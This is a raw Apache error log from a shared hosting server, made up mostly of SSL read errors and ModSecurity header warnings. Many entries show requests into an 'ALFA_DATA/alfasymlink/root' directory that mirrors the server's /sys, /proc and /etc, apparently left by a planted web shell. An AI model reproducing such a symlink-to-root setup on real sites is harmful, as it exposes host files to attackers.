[Sat Oct 24 14:55:50.304960 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 3.213.213.161:45459] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:14/subsystem/devices/device:10/eject
[Sat Oct 24 14:55:54.264917 2026] [ssl:error] [pid 2684557:tid 2684557] (5)Input/output error: [client 3.232.102.111:4580] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:55:58.244407 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 3.221.222.168:28158] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:56:02.122619 2026] [core:error] [pid 2677786:tid 2677786] (13)Permission denied: [client 85.208.96.193:28302] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/net_namespace/partial
[Sat Oct 24 14:56:02.973677 2026] [authz_core:error] [pid 2684517:tid 2684517] [client 185.191.236.38:61732] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 14:56:10.221521 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 54.83.23.103:14700] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:56:13.215478 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 85.208.96.208:31870] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-2k/free_calls
[Sat Oct 24 14:56:14.279424 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 54.197.102.71:9479] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:56:18.200141 2026] [core:error] [pid 2684559:tid 2684559] (13)Permission denied: [client 34.195.248.30:62518] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0B00:00/physical_node/driver/00:00/wakeup/wakeup11/subsystem/wakeup7/device/device:19/eject
[Sat Oct 24 14:56:22.231656 2026] [core:error] [pid 2677775:tid 2677775] (13)Permission denied: [client 52.54.15.103:36104] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS0/line
[Sat Oct 24 14:56:26.157398 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 52.45.77.169:42956] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:56:42.228305 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.83.56.1:64434] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:56:51.902279 2026] [core:error] [pid 2677786:tid 2677786] (13)Permission denied: [client 85.208.96.197:46016] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/remote_node_defrag_ratio
[Sat Oct 24 14:56:54.163571 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 52.0.105.244:24353] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:57:00.989224 2026] [security2:error] [pid 2677775:tid 2677775] [client 124.156.206.145:32796] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/diag1/"] [unique_id "atz_fA5nrLV5krwbFOTxYwAAAA4"]
[Sat Oct 24 14:57:02.169115 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 34.226.89.140:16963] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:57:10.183772 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 44.209.35.147:9887] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:57:26.167048 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 54.235.158.162:10984] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:57:38.354678 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 44.216.172.204:17532] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:57:50.169317 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 3.224.104.67:11186] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:57:58.212096 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 34.192.125.239:21386] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/drivers/uhci_hcd/0000:00:01.2/remove
[Sat Oct 24 14:58:02.148887 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 18.214.251.19:65150] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:58:22.052499 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 85.208.96.208:44928] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-1k/objs_per_slab
[Sat Oct 24 14:58:22.134143 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 3.208.146.193:53645] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:58:34.183933 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 44.212.232.231:54257] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:58:42.247758 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.163.136.244:20323] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:58:46.144052 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 34.204.150.196:19125] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:58:50.317479 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 54.145.82.217:16678] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:59:06.140142 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 34.233.219.155:24414] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:59:26.164801 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 52.70.138.176:48367] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:59:30.355338 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 100.27.153.9:59432] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:59:36.454099 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 85.208.96.212:61052] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ib_core/sections/__bug_table
[Sat Oct 24 14:59:38.209729 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 3.215.59.93:18563] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:59:42.310708 2026] [core:error] [pid 2684559:tid 2684559] (13)Permission denied: [client 3.229.164.203:15048] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/drivers/hpet/bind
[Sat Oct 24 14:59:50.260168 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 44.205.74.196:42645] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:59:54.180636 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 54.204.12.115:4708] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:00:02.190347 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 52.71.216.196:10914] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:00:10.192611 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 3.221.50.71:59224] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:00:22.212787 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 98.82.63.147:57119] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:00:22.601811 2026] [core:error] [pid 2684559:tid 2684559] (13)Permission denied: [client 85.208.96.209:40012] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/damon_reclaim/parameters/enabled
[Sat Oct 24 15:00:26.246992 2026] [core:error] [pid 2684557:tid 2684557] (13)Permission denied: [client 18.204.89.56:32534] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty4/subsystem/tty0/subsystem/ttyS1/port
[Sat Oct 24 15:00:30.293390 2026] [core:error] [pid 2677775:tid 2677775] (13)Permission denied: [client 54.198.33.233:53776] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:03/physical_node/driver/remove_id
[Sat Oct 24 15:00:46.295799 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.200.93.170:15723] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:00:54.313768 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 98.82.63.147:12737] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:01:10.256497 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.204.89.56:47041] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:01:14.332695 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 52.0.105.244:6355] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:01:26.292431 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 34.195.248.30:5931] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:01:30.377953 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 18.204.152.114:52954] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:01:33.123178 2026] [core:error] [pid 2677775:tid 2677775] (13)Permission denied: [client 185.191.171.17:23876] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/usersize
[Sat Oct 24 15:01:34.416346 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.234.206.30:39988] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:01:38.301336 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 44.209.35.147:16462] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:01:42.246506 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 35.169.119.108:30616] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:01:50.468226 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 3.219.81.66:11125] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:01:54.538452 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 3.218.35.239:26020] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:01:58.243663 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 44.218.6.93:9542] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:02:08.949497 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 44.194.139.149:26108] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:02:22.276012 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 52.204.71.8:51463] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:02:26.272323 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 34.199.252.22:37962] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:02:30.315710 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.225.45.252:21246] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:02:34.410229 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 18.215.112.101:14071] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:02:42.448878 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.80.185.200:61189] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:02:50.312601 2026] [ssl:error] [pid 2677786:tid 2677786] (5)Input/output error: [client 52.73.142.41:64492] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:03:06.274640 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 100.27.153.9:47707] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:12/eject
[Sat Oct 24 15:03:14.519860 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 34.231.77.232:9819] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:03:18.304024 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 52.71.46.142:25783] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:03:23.241318 2026] [ssl:error] [pid 2684517:tid 2684517] (5)Input/output error: [client 100.29.107.38:54192] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:03:42.326098 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 54.156.55.147:53112] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:03:46.346968 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 3.227.180.70:23107] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:03:50.279409 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 3.232.82.72:40759] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/subsystem/devices/serio0/driver/serio0/subsystem/drivers/psmouse/serio1/drvctl
[Sat Oct 24 15:03:58.385976 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 44.216.172.204:59395] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:04:02.236549 2026] [core:error] [pid 2684557:tid 2684557] (13)Permission denied: [client 23.21.179.27:36424] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/device:05/physical_node/remove
[Sat Oct 24 15:04:06.469066 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 107.23.62.75:31176] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:04:10.701150 2026] [core:error] [pid 2677788:tid 2677788] (13)Permission denied: [client 185.191.171.9:57552] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pde_opener/slabs_cpu_partial
[Sat Oct 24 15:04:14.289693 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.205.192.249:61352] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:04:22.341979 2026] [core:error] [pid 2677786:tid 2677786] (13)Permission denied: [client 18.214.251.19:48176] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory13/node0/memory11/subsystem/drivers_probe
[Sat Oct 24 15:04:23.552410 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 85.208.96.206:26916] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:04:30.270391 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 98.84.60.17:43526] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:04:34.302443 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.84.147.79:56744] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:04:46.272981 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 107.20.224.184:24070] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:04:51.124575 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 34.224.9.144:30712] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:05:14.352760 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 50.19.221.48:15528] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:05:18.237546 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 18.204.152.114:63211] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:05:26.260966 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 44.205.120.22:23070] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:05:50.600784 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.235.191.179:59501] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:05:58.280858 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 52.44.174.136:33662] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:06:14.285365 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 44.206.65.8:45024] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:06:15.302807 2026] [security2:error] [pid 2684583:tid 2684583] [client 43.165.198.224:49110] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/echo"] [unique_id "at0Bpz8oejtZfsaip1YlAQAAABE"]
[Sat Oct 24 15:06:22.336025 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 44.193.102.198:3573] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:06:38.294698 2026] [core:crit] [pid 2677775:tid 2677775] (13)Permission denied: [client 34.231.156.59:53559] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/apache2/run/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/apache2/run/' is executable
[Sat Oct 24 15:06:58.366941 2026] [ssl:error] [pid 2684517:tid 2684517] (5)Input/output error: [client 3.215.59.93:63434] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:07:00.598852 2026] [security2:error] [pid 2678927:tid 2678927] [client 170.106.110.146:46236] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "at0B1IuO7ED0bihu6UrWZgAAAAc"]
[Sat Oct 24 15:07:00.599946 2026] [authz_core:error] [pid 2678927:tid 2678927] [client 170.106.110.146:46236] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 15:07:10.352531 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 3.89.176.255:34465] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:07:14.367939 2026] [ssl:error] [pid 2677843:tid 2677843] (5)Input/output error: [client 34.239.197.197:20644] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:07:30.319882 2026] [core:error] [pid 2684557:tid 2684557] (13)Permission denied: [client 54.83.23.103:65531] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/Cavium PTP Driver/uevent
[Sat Oct 24 15:07:46.467943 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 34.199.252.22:12491] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:07:58.400747 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 52.200.54.136:3713] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:08:10.583556 2026] [core:error] [pid 2684517:tid 2684517] (13)Permission denied: [client 3.224.215.150:27661] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXPWRBN:00/wakeup/wakeup8/device/subsystem/drivers/pvpanic/uevent
[Sat Oct 24 15:08:14.524912 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 52.73.6.26:38537] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:08:18.553000 2026] [core:error] [pid 2677788:tid 2677788] (13)Permission denied: [client 52.203.152.231:39420] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty49/subsystem/tty60/subsystem/ttyS0/type
[Sat Oct 24 15:08:42.457601 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 52.204.174.139:64933] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/drivers/hpet/bind
[Sat Oct 24 15:08:49.956901 2026] [core:error] [pid 2684517:tid 2684517] (13)Permission denied: [client 85.208.96.208:25598] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/objs_per_slab
[Sat Oct 24 15:08:58.179399 2026] [core:error] [pid 2677775:tid 2677775] (13)Permission denied: [client 85.208.96.211:49556] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/aio_kiocb/destroy_by_rcu
[Sat Oct 24 15:09:06.642345 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.225.24.180:20584] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/wakeup/wakeup2/subsystem/wakeup1/device/PNP0303:00/physical_node/"] [unique_id "at0CUj8oejtZfsaip1YlBwAAABE"]
[Sat Oct 24 15:09:06.642425 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.225.24.180:20584] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/wakeup/wakeup2/subsystem/wakeup1/device/PNP0303:00/physical_node/"] [unique_id "at0CUj8oejtZfsaip1YlBwAAABE"]
[Sat Oct 24 15:09:10.738633 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 35.153.86.200:43893] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:09:19.519312 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 34.205.163.103:56114] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:09:26.396086 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 54.235.191.179:61298] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:09:46.406491 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 54.164.106.236:51314] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:09:50.519873 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 54.84.250.51:31040] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:09:58.535917 2026] [core:error] [pid 2677786:tid 2677786] (13)Permission denied: [client 34.225.138.57:35033] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:05/eject
[Sat Oct 24 15:10:14.645709 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 52.202.233.37:27987] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:10:22.612931 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 52.44.174.136:43241] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:10:38.925275 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 44.217.255.167:29208] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:10:42.454961 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 23.21.179.120:55305] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:10:46.568702 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 18.205.91.101:55664] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:10:50.574489 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 44.206.93.215:43365] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:10:58.551358 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 52.4.213.199:12557] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:11:22.482770 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 52.45.29.57:34704] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:11:30.703397 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 52.3.104.214:52838] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:11:38.700901 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 34.203.111.15:16386] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:11:38.701119 2026] [security2:error] [pid 2677788:tid 2677788] [client 34.203.111.15:16386] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/input3/event3/subsystem/input1/device/firmware_node/status"] [unique_id "at0C6mHlETSj29Thy_T7fgAAAAM"]
[Sat Oct 24 15:11:38.701148 2026] [security2:error] [pid 2677788:tid 2677788] [client 34.203.111.15:16386] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/input3/event3/subsystem/input1/device/firmware_node/status"] [unique_id "at0C6mHlETSj29Thy_T7fgAAAAM"]
[Sat Oct 24 15:11:42.525010 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.232.11.247:27144] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:11:46.837582 2026] [core:error] [pid 2684557:tid 2684557] (13)Permission denied: [client 98.83.10.183:58304] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/drivers/piix4_smbus/new_id
[Sat Oct 24 15:11:54.634148 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 34.195.60.66:35922] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:11:58.645811 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 54.147.80.137:40213] AH02013: coalesce failed to read from data bucket
